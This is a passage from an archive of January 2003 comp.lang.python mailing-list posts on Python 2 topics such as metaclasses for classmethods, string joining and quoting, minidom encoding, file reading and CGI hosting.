these in is left as an exercise for the reader.

  Jp

-- 
        "I quite agree with you," said the Duchess; "and the moral of
that is -- Be what you would seem to be' -- or, if you'd like it put
more simply -- Never imagine yourself not to be otherwise than what it
might appear to others that what you were or might have been was not 
otherwise than what you had been would have appeared to them to be
otherwise.'"       -- Lewis Carrol, "Alice in Wonderland"
--
 12:00am up 32 days, 9:48, 5 users, load average: 0.18, 0.15, 0.16
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030117/f9e6a224/attachment.sig>

From smulloni at smullyan.org  Fri Jan 17 22:12:00 2003
From: smulloni at smullyan.org (Jacob Smullyan)
Date: 17 Jan 2003 22:12:00 -0500
Subject: classmethod() not inherited?
References: <20030116044334.E13035@localhost.localdomain> <mailman.1042712132.3419.python-list@python.org>
Message-ID: <slrnb2hhg0.ohr.smulloni@bracknell.smullyan.org>

In article <mailman.1042712132.3419.python-list at python.org>, Andrew Bennetts wrote:
> On Thu, Jan 16, 2003 at 04:43:35AM -0500, Jack Diederich wrote:
>> I'd like to have ALL of the derivitives of Base
>> have foo as a classmethod, but it doesn't seem
>> to be automatic and the following doesn't work
> Well, foo *is* a classmethod in the derived classes -- it's just that you're
> replacing it with a foo that's not a classmethod <wink>.
> 
> If you really want this, you could write a metaclass:
> 
> ---
> class M(type):
>     def __init__(cls, name, bases, dict):
>         type.__init__(cls, name, bases, dict)
>         if callable(dict.get('foo')):
>             setattr(cls, 'foo', classmethod(dict['foo']))
> 
> class Base(object):
>     __metaclass__ = M      # removing this line gives the old behaviour
>     def foo(cls):
>       return 'BASE!', cls
> 
> # ... A, B and Z as before ...
> 
> for x in (Base(), A(), B(), Z()):
>     print x.foo()
> ---
> 
> This will print:
> ('BASE!', <class '__main__.Base'>)
> ('some value', <class '__main__.A'>)
> ('some other value', <class '__main__.B'>)
> ('something else still', <class '__main__.Z'>)
> 
> Instead of:
> ('BASE!', <__main__.Base object at 0x8121a6c>)
> ('some value', <__main__.A object at 0x81141d4>)
> ('some other value', <__main__.B object at 0x811345c>)
> ('something else still', <__main__.Z object at 0x814c644>)
> 
> Of course, extending it to do this to all overridden classmethods, instead
> of being hard-coded to 'foo', is a little trickier, but not much...
> 
 
For instance, the below uses a naming convention so the metaclass can
to determine which methods are class methods, and then classmethod-ify
them.  Static methods are thrown in for good measure:

class _classymeta(type):
    def __new__(self, cl_name, bases, namespace):
	prefix_descriptor_pairs=(('static_', staticmethod),
                                 ('class_', classmethod))
        for k, v in namespace.items():
            for prefix, descriptor in prefix_descriptor_pairs:
                lenpre=len(prefix)
                if k.startswith(prefix):
                    methname=k[lenpre:]
                    if methname in namespace:
                        raise ValueError, \
                            "duplicate member name: %s" % methname
                    namespace[methname]=descriptor(v)
                    del namespace[k]
        return type.__new__(self, cl_name, bases, namespace)


class thing(object):
    __metaclass__=_classymeta

    def static_foo(x, y):
        print x, y

    def class_foo2(k, x, y):
        print k, x, y

class derivedthing(thing):

    def class_foo2(k, x, y):
        thing.foo2(x, y)
        print "in foo2"

t=thing()
t.foo(1, 2)
t.foo2(1, 2)
v=derivedthing()
v.foo2(1, 2)



From max at alcyone.com  Fri Jan  3 00:42:54 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 02 Jan 2003 21:42:54 -0800
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se> <3E126FEF.BB622A2E@alcyone.com> <av2c6v$o3p$1@news.island.liu.se>
Message-ID: <3E1522DE.BB4B6FE6@alcyone.com>

Thomas Bellman wrote:

> Hmm, on python-dev I have got someone saying it's called 'base',
> and someone else thinks it's called 'radix'.

According to the book I used (_APL: An Interactive Approach_) it's also
called "base value."  I'm not really sure if APL operators really have
any official names beyond their symbols, so it might all be academic
anyway.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ A man can stand a lot as long as he can stand himself.
\__/ Axel Munthe
    Lsystem / http://www.alcyone.com/pyos/lsystem/
 A Lindenmayer systems explorer in Python.



From csad7 at yahoo.com  Sat Jan  4 11:29:05 2003
From: csad7 at yahoo.com (christof hoeke)
Date: Sat, 4 Jan 2003 17:29:05 +0100
Subject: easier solution possible to find a stringpattern in a list?
References: <av6m3r$n5m$01$1@news.t-online.com>
Message-ID: <av724f$u58$02$1@news.t-online.com>

thanks, i thought there should be something in the standard modules...

thanks a lot.
chris


"christof hoeke" <csad7 at yahoo.com> wrote in message
news:av6m3r$n5m$01$1 at news.t-online.com...
> hi,
> i was wondering if there is an easier solution to the following problem (i
> am more or less a beginner in python):
>
> i have a list of filenames and want to know if there is one or more files
> with a given pattern in it.
> a bit similar to what glob.glob(pattern) is doing.
>
> my solution till now would be
>
> files = [...]
> pattern = "*.xsl"
> number = len( [f for f in files if f.endswith(pattern)] )
> if  number > 0:
>     print number + " times in the list"
> else:
>     print "not in the list"
>
> is there already a function in the standard modules that can do something
> like this?
> maybe even one which can handle more generalized patterns?
> i guess i am looking for a version of glob which handles a list and not
the
> filesystem.
>
> thanks for any help
> chris
>
>
>





From kwalker at earth1.net  Tue Jan  7 06:16:02 2003
From: kwalker at earth1.net (Bill Walker)
Date: Tue, 7 Jan 2003 06:16:02 -0500
Subject: How to change colors of console window?
Message-ID: <3e1ab443_1@corp.newsgroups.com>

Is there a way to change the drab white on black of the dos console window
to some other color scheme, say yellow on blue?






-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From peter at engcorp.com  Thu Jan 16 10:49:22 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 10:49:22 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <a8b7f07a.0301160712.46ae1843@posting.google.com>
Message-ID: <3E26D482.414DFF57@engcorp.com>

"A. Lloyd Flanagan" wrote:
> 
> I do make an exception for the names of fields in a database table.
> The name of a field is referenced a long way from its definition
> (which is in the database), and database fields are very
> type-specific.  One could make similar arguments for global variables,
> but of course we don't use those, right?

That's correct, we don't, but even when we do we also make use of a 
naming convention to indicate that they *are* globals and that extra
special care must be taken when using them, as in "gRegisterItems" or
"global_Logger" and such.  ;-)

(A. Lloyd, I like your idea of using "distance from declaration"
as a guide for deciding when such a naming convention actually 
does become necessary, and the advice that in most cases if you
found such a convention to be necessary, you've already got bad code.)

-Peter



From adalke at mindspring.com  Wed Jan  8 22:48:30 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 08 Jan 2003 20:48:30 -0700
Subject: good name for a dict/list hybrid
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301072108150.16059-100000@techunix.technion.ac.il>
References: <avd4ti$2jr$1@slb0.atl.mindspring.net> <Pine.GSO.4.44_heb2.09.0301072108150.16059-100000@techunix.technion.ac.il>
Message-ID: <avirsj$1pl$2@slb9.atl.mindspring.net>

Beni Cherniavsky:
 > The main issue to decide is
> whether you care for the order between different keys.  If not, your
> semantics are just an unordered mapping from keys to ordered lists of
> values: {'Name': ['Andrew', 'Andrew Dalke'], 'Lang': ['English'], ...}
> In that case you might be satisfied with just a dict mapping to
> lists, otherwise try "DictList", "ListDict", "MultiDict", "mdict"...

Nearly all of the keys are unique in my data set, at least from
observation.  The data provider says some keys may be duplicated,
so I want to make it easy to get the common case (key/value) like it
was a simple dictionary but also have a way to get the rare case of
duplicates.

So while that approach works, it doesn't make the common case as
simple as I wanted.


> If you do care for the complete order, your semantics are just a list
> of pairs.  Then you surely need to write a class, since access by keys is
> inconveneint for just a list pair.  I suggest calling it "PairList".

For other tasks (not in my original spec) I've needed the simplicity of 
key/value lookups but order preserving, so that I can round-trip a
data format.

The code I posted elsewhere I believe handles all my expected needs.

					Andrew
					dalke at dalkescientific.com





From adalke at mindspring.com  Sun Jan 12 19:21:38 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 12 Jan 2003 17:21:38 -0700
Subject: Python for CGI is dead?
In-Reply-To: <cb035744.0301120614.3b19d223@posting.google.com>
References: <cb035744.0301120614.3b19d223@posting.google.com>
Message-ID: <avt0q8$i1$1@slb0.atl.mindspring.net>

Will Stuyvesant wrote:
> I am spending rather much time trying to build a project using CGI
> scripts written in Python.  But am I wasting my time?  I could not
> find much Python hosting, and none free (except a french one that I
> can not register into) for Python CGI scripts!  

While not free, my service provider, pair.com, offers Python CGI
hosting for $17/mo., for the cheapest rate.  Details at

   http://www.pair.com/pair/shared/advanced.html

Pay for a year and there's a 16% discount, to $184.  The pythons
they have are: python2.1.1, python2.2.1, and python2.3a1.

Yes, they even have the newest version of Python available.

					Andrew
					dalke at dalkescientific.com




From timr at probo.com  Sun Jan 19 01:32:23 2003
From: timr at probo.com (Tim Roberts)
Date: Sat, 18 Jan 2003 22:32:23 -0800
Subject: data bound controls/Boa
References: <Is_V9.440$TM2.220@newssvr19.news.prodigy.com>
Message-ID: <tchk2vsf74h450mckj1utagsdefd10nbao@4ax.com>

Robert Hord <robert at nowhere.net> wrote:

>Coming from a Visual FoxPro world just getting into Python.  VFP has data 
>bound controls for your database.  Is there anything like this for Python?  

Complicated question.  Python doesn't have any native GUI, so there's no
such thing as a "control".  There are add-in modules like wxPython or
tkInter that give you a GUI interface.  None of them have bound controls
built-in, although you could build one if you wanted.

On the other hand, many people think bound controls are  bad idea.
Non-bound controls are a bit more work, but they give you more control.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From timr at probo.com  Wed Jan 15 02:28:18 2003
From: timr at probo.com (Tim Roberts)
Date: Tue, 14 Jan 2003 23:28:18 -0800
Subject: PyGreSQL and HTML
References: <3E2362E7.4F9D69E2@nr.usu.edu>
Message-ID: <593a2vgfsovo9hltgogjn2gt9a6p6tovno@4ax.com>

Dave Roberts <dvrbts at nr.usu.edu> wrote:

>Does anyone know how to shift postgres into html table mode from inside
>PyGreSQL?
>
>From inside postgres it's simple:  \pset format html

That is NOT used "from inside postgres".  Rather, it is used inside psql,
which is a completely separate command-line utility that happens to talk to
the postgres server, just as PyGreSQL does.

>However, all my attempts to pass postgres that string from inside
>PyGreSQL seem to get trapped by the interpreter.  I'm trying to use
>python cgi scripts to present queries, and since the output is going to
>stdout (the browser), if I could just kick postgres into html it would
>be self-presenting.

Right.  Postgres doesn't understand the backslash commands, psql does.  You
are talking directly to postgres, so you will have to do the formatting
yourself.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From martin at v.loewis.de  Sat Jan 18 17:35:51 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 18 Jan 2003 23:35:51 +0100
Subject: 2.3 a1 idle.py vs. idle.pyw
References: <f7kW9.147252$Hs2.12751896@kent.svc.tds.net> <ogkj2vonelv3bm6e0pp9jcqqvnffr22mua@4ax.com> <HukW9.147255$Hs2.12754010@kent.svc.tds.net>
Message-ID: <m3adhy5bnc.fsf@mira.informatik.hu-berlin.de>

"Edward K. Ream" <edream at tds.net> writes:

> Shouldn't the installer treat both file types the same?

Probably yes. If you are reasonably sure that 2.3a1 is the last thing
you've installed, and you haven't changed the .py assignment
afterwards, then you might have discovered a bug - please report it on
SF.

Regards,
Martin




From nagylzs at freemail.hu  Tue Jan 14 19:05:20 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Wed, 15 Jan 2003 01:05:20 +0100
Subject: Newbie question: cannot read from file?
Message-ID: <3E24A5C0.6000900@freemail.hu>

  Hello Python Gurus!

I'm trying to read a file in 10000 byte blocks. The first read(10000) call
always reads 681 bytes. I'm not sure why 681. Any subsequent calls
to read(10000) read 0 bytes. If  I call f.tell(), that returns a wrong file
position (8192L) but after that I can read a few additional bytes in the
next read(10000) call. Then any subsequent calls to read(10000)
read 0 bytes, until I call tell() again (that will return 16384L). And so
goes on. I read the library reference and it tells that read(size) should
read at most "size" bytes from the file, or less if the read hits EOF.
This is all right, 0 is at most 10000 but I have a very bad feeling.
Did I missed something? Any pointer would help.

  Laci 1.0

This is "dir":

2003.01.15.  00:47    <DIR>          .
2003.01.15.  00:47    <DIR>          ..
2003.01.13.  10:50         2 359 350 Arwen.bmp
2003.01.14.  22:37                69 Test.txt



 >>> f = file("Arwen.bmp","r+")
 >>>data = f.read(10000)
 >>>len(data) # Why just 681?
681
 >>>data = f.read(10000)
 >>>len(data) # Why always zero?
0
 >>>data = f.read(10000)
 >>>len(data)
0
 >>>data = f.read(10000)
 >>>len(data)
0
 >>>f.tell() # Isn't it false?
8192L
 >>>data = f.read(10000)
 >>>len(data)
1153
...






From johnroth at ameritech.net  Wed Jan 29 16:28:35 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 29 Jan 2003 16:28:35 -0500
Subject: Newbie: anything resembling static?
References: <mailman.1043870531.24472.python-list@python.org>
Message-ID: <v3ghpfhhev8qa5@news.supernews.com>

"anton wilson" <anton.wilson at camotion.com> wrote in message
news:mailman.1043870531.24472.python-list at python.org...
>
> Is there any way of imitating "static" C function variables without
having to
> define the variable as a global? I just want persistent function
variables
> but i want them to be local to the function namespace. :S
>
>
>
> Anton

Not obviously. The two ways of doing something similar are:

1. Use a class; the class instance will keep persistant variables

2. Use a simple generator. All of the function's variables
are persistant across calls to the generator.

HTH.

John Roth
>





From com-nospam at ccraig.org  Tue Jan  7 10:02:16 2003
From: com-nospam at ccraig.org (Christopher A. Craig)
Date: 07 Jan 2003 10:02:16 -0500
Subject: Laura's List - was Re: new years resolutions
In-Reply-To: <200301061159.h06BxgjL029439@ratthing-b246.strakt.com>
References: <20030106212551.A19866@bob.sesgroup.com.au>
	<200301061159.h06BxgjL029439@ratthing-b246.strakt.com>
Message-ID: <87isx1atqf.fsf@beren.ccraig.org>

Laura Creighton <lac at strakt.com> writes:

> I would dearly like it we could separate the people who want and
> need advanced vocational training, from the people who want to become
> academics, from the people who are only having their entrance into
> the workforce delayed for some number of years.  
> 

This is an interesting comment because I am on the other side of the
issue, but feel the same way.  At the university from which I
graduated there were two major factions in the computing department:
those who thought the job of the department was to fill an immediate
need in industry, and those who felt the job of the department was to
educate students on the underlying premises and theories of computing.

The first group would make arguments like "Why is the object oriented
programming class taught in SmallTalk?  Nobody uses SmallTalk, why
don't you teach it in Java?"  The second would make arguments like
"SmallTalk is one of the most pure OO languages available, Java is not
nearly as good for teaching OOD."

I, along with most of the professors, was in the second group.  It
sounds like you are in the first.  For what it's worth, our professors
had no problem with informing people of trade schools in our area
where they could learn to program in Java or C++ or whatever, they
just refused to orient their curricula around current language trends.

-- 
Christopher A. Craig <com-nospam at ccraig.org>
"Software hoarding is not a victimless crime." Richard Stallman




From gmfawcett at operamail.com  Wed Jan 15 10:20:17 2003
From: gmfawcett at operamail.com (Graham Fawcett)
Date: 15 Jan 2003 07:20:17 -0800
Subject: Seeking Minimal Python Project Name
References: <mailman.1042620119.3299.python-list@python.org>
Message-ID: <3d799735.0301150720.1984b274@posting.google.com>

"Andrew Thompson" <andrew.thompson at ashecastle.com> wrote in message news:<mailman.1042620119.3299.python-list at python.org>...
> How about simply 'P' or 'p' as a suitable name?  It worked for C.

'min(python)' seems appropriate too, though it's more verbose.

In the animal kingdom, 'Python' is a genus, and its species have names
like, e.g., 'Python natalensis' or 'P. natalensis'. Perhaps you could
add 'P. minimalis' to the genus? 'P.min.' for short.

Or if you prefer honouring the language's comedic roots, perhaps an
Austin Powers reference: 'Mini-P' ...

-- Graham



From warrenpstma at _______.com.hotmail  Mon Jan 27 10:08:42 2003
From: warrenpstma at _______.com.hotmail (WP)
Date: Mon, 27 Jan 2003 10:08:42 -0500
Subject: java introduction for pythonistas
In-Reply-To: <20030127112513.GA671@matijek>
References: <20030127112513.GA671@matijek>
Message-ID: <cXbZ9.820$hw4.254045@news20.bellglobal.com>

Alex Polite wrote:
> I've been working a few years with python. I'm  rather confident with
> basic OO design principles. Now some people that I consult for might
> be moving to Java. So I need to get up to speed with java. Are there
> any good documents out there for people with a python background
> coming to Java. 
> 

Here it is:
	Run away. Run fast. Keep running.

Warren




From exarkun at intarweb.us  Sun Jan 19 15:59:48 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sun, 19 Jan 2003 15:59:48 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net>
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net>
Message-ID: <20030119205948.GB25288@meson.dyndns.org>

On Sun, Jan 19, 2003 at 07:32:09PM +0000, Hans Nowak wrote:
> Terry Reedy wrote:
> 
> [join method]
> >And likewise, admitting that it is a bit ugly, at least to some,
> >is no exclusion to thinking that it is very handy to have it
> >directly available, just like its quasi-inverse, .split(),
> >and with the same syntax.
> 
> If the join operation is done by calling a method on the separator, I would 
> expect the same on the split operation:
> 
>   " ".split("a b c")
>   # should yield ["a", "b", "c"]
> 
> ...but for some reason, that didn't make it into the design. ;-)

  "A foolish consistency is the hobgoblin of little minds."  -rwe

  "a b c".split(" ") makes sense.  " ".join(("a", "b", "c")) does, too.
("a", "b", "c").join(" ") might make sense, but it would also involve
writing a pile more code, and reducing the usefulness of the operation.  So
why aim for consistency, when we can achieve usefulness instead?

  Jp

--
 12:00am up 34 days, 9:48, 3 users, load average: 0.23, 0.25, 0.22
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030119/3e16f1a5/attachment.sig>

From akjmicro at yahoo.com  Fri Jan 24 19:48:25 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Fri, 24 Jan 2003 18:48:25 -0600
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com> <b0sbn3$rk3$1@bob.news.rcn.net> <%djY9.51$Xw5.38@nwrddc04.gnilink.net>
Message-ID: <b0smsk$ti$1@bob.news.rcn.net>

In message <%djY9.51$Xw5.38 at nwrddc04.gnilink.net>, Carl Banks wrote:
> Aaron K. Johnson wrote:
> > In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
> >> 
> >> I don't understand. Number of unique posters in the last 200 posts to a
> >> newsgroup I understand,
> >> and 647 to the (one) Python newsgroup I understand, but I don't
> >> understand how you get
> >> 647 different posters out of the last 200 posts.
> >> 
> >> Oh, and Clipper is an old data base language, somewhere in the dbase
> >> family.
> > 
> > oops, sorry....I meant 2000!
> 
> 
> Ok, then how do you account for 3715 different posters for Java:

I should have explained....each comp.lang.x.subgroup hierarchy gets totalled
together as one group. So comp.lang.java.moderated, comp.lang.java.whatever get
added together.....which makes me realize, I should make sure there are
no-cross posts....back to the drawing board.
 
> > survey begins here:
> > 
> > java 3715
> > (c/c++ taken together) 1511
> > basic 1292
> > perl 1240
> > c++ 953
> > pascal 905
> 
> 
> FWIW, N different posters in the last M posts is an irrelevant
> statistic for me.  N different posters in the X period of time might
> mean something--it certainly correlates somewhat to acutal
> popularity--but there are too many factors involved to get anything
> better than a vague estimate from it.

I'm just going for 'less and less vague each time'. Any more suggestions?
It'll take some tinkering with my code, but I might be able to get that date
based evaluation soon, I'll let you know.





From robin at jessikat.fsnet.co.uk  Wed Jan 15 08:28:16 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 15 Jan 2003 13:28:16 +0000
Subject: Python23: cannot inherit from bool?
References: <bb3eec0f.0301141812.18e916bf@posting.google.com>
 <b03kr8$lbili$1@ID-71831.news.dfncis.de>
Message-ID: <VioEfKAwHWJ+EwJk@jessikat.demon.co.uk>

In article <b03kr8$lbili$1 at ID-71831.news.dfncis.de>, James Kew
<james.kew at btinternet.com> writes
>FrankS wrote:
>> It seems that 2.3 doesn't allow you to inherit from bool:
>
>I'm not qualified to comment on why it's not allowed, but out of interest:
>why might you want to inherit from bool?
>
.... don't know the answer to that one, but is the non inheritance
property available to ordinary python if yes we could create leaf
classes.
-- 
Robin Becker



From mertz at gnosis.cx  Fri Jan 31 03:27:27 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Fri, 31 Jan 2003 03:27:27 -0500
Subject: Help a C++ coder see the light
In-Reply-To: <mailman.1043985298.11196.python-list@python.org>
References: <mailman.1043985298.11196.python-list@python.org>
Message-ID: <vNjO+kKkX0if092yn@gnosis.cx>         

|> Probably-this-very-post-has-bugs-ly yours, Lulu...

|Ah - the old "indirect boasting technique". Very nicely applied,
|but I spotted it!

Not quite, I think.  The boasting-by-satirical-self-deprecation
technique isn't QUITE the same thing as the boasting-through-indirection
technique.  They are certainly in the same family, but take a look at
the book _Braggadocio Patterns_ for a discussion of the difference in
application.

Self-exemplification-is-an-aspect-not-a-pattern-ly yours, Lulu...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From b.maryniuk at forbis.lt  Wed Jan  8 12:22:39 2003
From: b.maryniuk at forbis.lt (Bo M. Maryniuck)
Date: Wed, 8 Jan 2003 19:22:39 +0200
Subject: no side effects
In-Reply-To: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <200301081922.39672.b.maryniuk@forbis.lt>

On Wednesday 08 January 2003 15:10, Michele Simionato wrote:
> I was surprised by the following code:
> >>> for i in [1,2,3]:
> ...     print i,
> ...     i=3
> I would have expected only 1 to be printed, 
Wrong.

> but instead Python continues the loop 
Yes.

> Maybe others will appreciate that.
Probably you want this:
>>> for i in [1, 2, 3]:
...     print i
...     if i == 1:break
... 
1

-- 
Regards, Bogdan

Professionalism has no place in art, and hacking is art.  Software Engineering
might be science; but that's not what I do.  I'm a hacker, not an engineer.
		-- jwz





From bokr at oz.net  Sat Jan 25 20:50:05 2003
From: bokr at oz.net (Bengt Richter)
Date: 26 Jan 2003 01:50:05 GMT
Subject: Illegal literal or not?
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net> <dGrM+ks/KrEc089yn@the-wire.com> <3E32E570.63A1AEAC@engcorp.com> <mailman.1043525566.22875.python-list@python.org> <3E33059E.EDA605DD@engcorp.com> <mailman.1043534062.7354.python-list@python.org>
Message-ID: <b0vesd$spl$0@216.39.172.122>

On Sat, 25 Jan 2003 23:25:51 +0100, Laura Creighton <lac at strakt.com> wrote:

>> Gerrit Holl wrote:
>> > 
>> > Peter Hansen schreef op zaterdag 25 januari om 20:32:03 +0000:
>> > > Mel Wilson wrote:
>> > > > >>> print "'" + '"' + "Let's try this!" + '"' + ', they said.' + "'"
>> > > > >>> print ''.join (["'", '"', "Let's try this!", '"', ', they said.', "
>> '"])
>> > 
>> > > >>> print '"'.join(["'", "Let's try this!", ", they said.'"])
>> > > '"Let's try this!", they said.'
>> > 
>> > >>> print "'"'"'"Let's try this!"'"'', they said.'"'"
>> > '"Let's try this!", they said.'
>> > 
>> > :)
>> 
>> Oooohh, very slick.  Automatic concatenation of adjacent string
>> literals. :-)
>> 
>> <hat mode="doffed"/>
>> 
>> -Peter
>> -- 
>> http://mail.python.org/mailman/listinfo/python-list
>
>I think that it is more readable like this:
>
>>>> print "'" '"' "Let's try this!" '"' ', they said.' "'"
>'"Let's try this!", they said.'

I think it's even clearer if you isolate the data of interest from the quoting
as much as possible. E.g., (a little extreme perhaps, but very literally readable):

 >>> print """
 ...
 ... '"Let's try this!", they said.'
 ...
 ... """[2:-2] # exclude leading and trailing blank lines
 '"Let's try this!", they said.'

Regards,
Bengt Richter



From elf at drizzle.com  Tue Jan  7 11:25:03 2003
From: elf at drizzle.com (Elf M. Sternberg)
Date: Tue, 07 Jan 2003 08:25:03 -0800
Subject: Threaded server in python!?
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org>
 <x7y9607rmn.fsf@guru.mired.org>
Message-ID: <m3d6n93p28.fsf@drizzle.com>

Mike Meyer <mwm at mired.org> writes:

>> Using a library like Twisted <http://twistedmatrix.com/>, it's
>> straightforward to handle multiple sockets, without needing threads.

>> As a bonus, Twisted has implementations of many common protocols, ready for
>> you to use and adapt to your problem

> The above also applies to medusa, except that it's a multi-protocol
> internet server instead of a library. I actually wrote an http chat
> server on top of medusa for a client, and was pleased with how well it
> worked.

        And if you want your hand held, Webware
<http://webware.sourceforge.org> is a full-blown application server
written in Python that has session and transaction management, header
and CGI argument processing, and a very easy to understand application-
and-page deployment pattern that Fits Your Brain(tm).  You could gin up
a simple chat server over HTTP in less than an hour.  And it's
multi-threaded, using asyncore.

        If you feel the need to re-invent this particular wheel, you
clearly don't understand the road.

                Elf

        



From mwh at python.net  Wed Jan 29 09:33:19 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 29 Jan 2003 14:33:19 GMT
Subject: lost Hashability with __cmp__
References: <b18o81$p21$1@rrzd1.rz.uni-regensburg.de>
Message-ID: <7h3y954xbzq.fsf@pc150.maths.bris.ac.uk>

Martin Schmettow <martin.schmettow at bibliothek.uni-regensburg.de> writes:

> Hi all.
> 
> I declared a __cmp__ for a class. Now I get an TypeError: unhashable
> instance if  I use objects of this class as keys in a dictionary.
> Can someone explain why and how I can gain back hashability?

Define a __hash__ method.  Make sure that instances that __cmp__ equal
generate the same hash code.

Cheers,
M.

-- 
112. Computer Science is embarrassed by the computer.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html



From op73418 at mail.telepac.pt  Tue Jan 21 12:47:34 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Tue, 21 Jan 2003 17:47:34 +0000
Subject: Partial string formatting?
References: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com> <3E2D80BD.5070703@mxm.dk>
Message-ID: <vo1r2vkej1rg3la5u4m9sfdr2q5k5mqoet@4ax.com>

On Tue, 21 Jan 2003 18:17:49 +0100, Max M <maxm at mxm.dk> wrote:

>Gon?alo Rodrigues wrote:
>
>> <string> % <mapping>
>> 
>> where if a key is not present in <mapping> it just leaves it untouched?
>> 
>> I thought of subclassing dict to hand out a default item, which it would
>> just be the requested key wrapped in %()s. Of course this only works if
>> the format code is s but not with other format codes or even more
>> complicated options.
>
>
>Something like this?
>
>class MappingAdapter:
>
>     def __init__(self, aDict):
>         self.aDict = aDict
>
>     def __getitem__(self, key):
>         return str(self.aDict.get(key, ''))
>
>
>ma = MappingAdapter({'key1':'val1', 'key2':2})
>
>"%(key1)s - %(key2)s - %(key3)s" % ma
>
> >>> val1 - 2 -
>

This should return instead:

val1 - 2 - %(key3)s

As I said, if a priori I know that the formatting code is just s, the
problem is easily solved. But if I want to be completely general I'm
basically stuck because the formatting codes can have a bewildering
array of variations.

>
>regards Max M

With my best regards,
G. Rodrigues



From sandskyfly at hotmail.com  Sun Jan 12 12:00:31 2003
From: sandskyfly at hotmail.com (Sandy Norton)
Date: 12 Jan 2003 09:00:31 -0800
Subject: escaping illegal characters in XML
References: <b03e80d.0301110516.439825f0@posting.google.com> <b03e80d.0301111307.5755c41e@posting.google.com> <3E214C29.5020903@v.loewis.de>
Message-ID: <b03e80d.0301120900.5867a7ea@posting.google.com>

Martin v. L?wis wrote in message

> > doc.encoding = 'UTF-8'
> 
> Why do you think that setting an attribute named "encoding" should have 
> any effect on the document?

two reasons:

1. the lack of a setEncoding attribute to the minidom.Document class
led me the not so unobvious supposition that setting the encoding
attribute could have an impact on the resulting xml document's
encoding.

2. sparse documentation for the xml.dom.minidom module 


> > <?xml version="1.0" ?>
> > <section>
> > 	<item harvested="blah blah"/>
> > </section>
> 
> Strictly speaking, this document *is* encoded in UTF-8: UTF-8 is the 
> default if no encoding= attribute is given.

Thanks. I missed that little detail.

> However, minidom normally won't support output in different encodings. 
> In PyXML (and Python 2.3), the .tostring method of the document supports 
> an optional encoding argument.
> 
> Regards,
> Martin

Cheers,

Sandy



From johnroth at ameritech.net  Tue Jan  7 18:06:47 2003
From: johnroth at ameritech.net (John Roth)
Date: Tue, 7 Jan 2003 18:06:47 -0500
Subject: Jython/Python Libs
References: <g4sS9.20725$9N5.1854174@newsread2.prod.itd.earthlink.net> <3e1b2914$0$147$e4fe514c@dreader7.news.xs4all.nl>
Message-ID: <v1mnb8ipnng7d8@news.supernews.com>

"Ype Kingma" <ykingma at accessforall.nl> wrote in message
news:3e1b2914$0$147$e4fe514c at dreader7.news.xs4all.nl...
>
> Terry Hancock wrote:
>
> > Hi all,
> > I need to survey what modules are supported in both Jython and
Python
> > (which is probably nearly the same as knowing which modules have no
> > dependencies on C extensions).  What would be the quickest way to
> > establish
> > that?  (As in, is there a way to import and test them all
automatically
> > and report the failures, or has someone already tabulated this
somewhere).
> >
> > Ideally I'd also catch the few cases of modules which don't work
correctly
> > for language compatibility regions, but I know that can be pretty
subtle.
> >
> > I'm really only interested in the standard library modules -- I'll
test
> > any extra modules we need case-by-case anyway.
> >
> > The goal is to clearly establish and document what subset of Python
will
> > run on either platform.
>
> You can use python libs available from the CPython installation
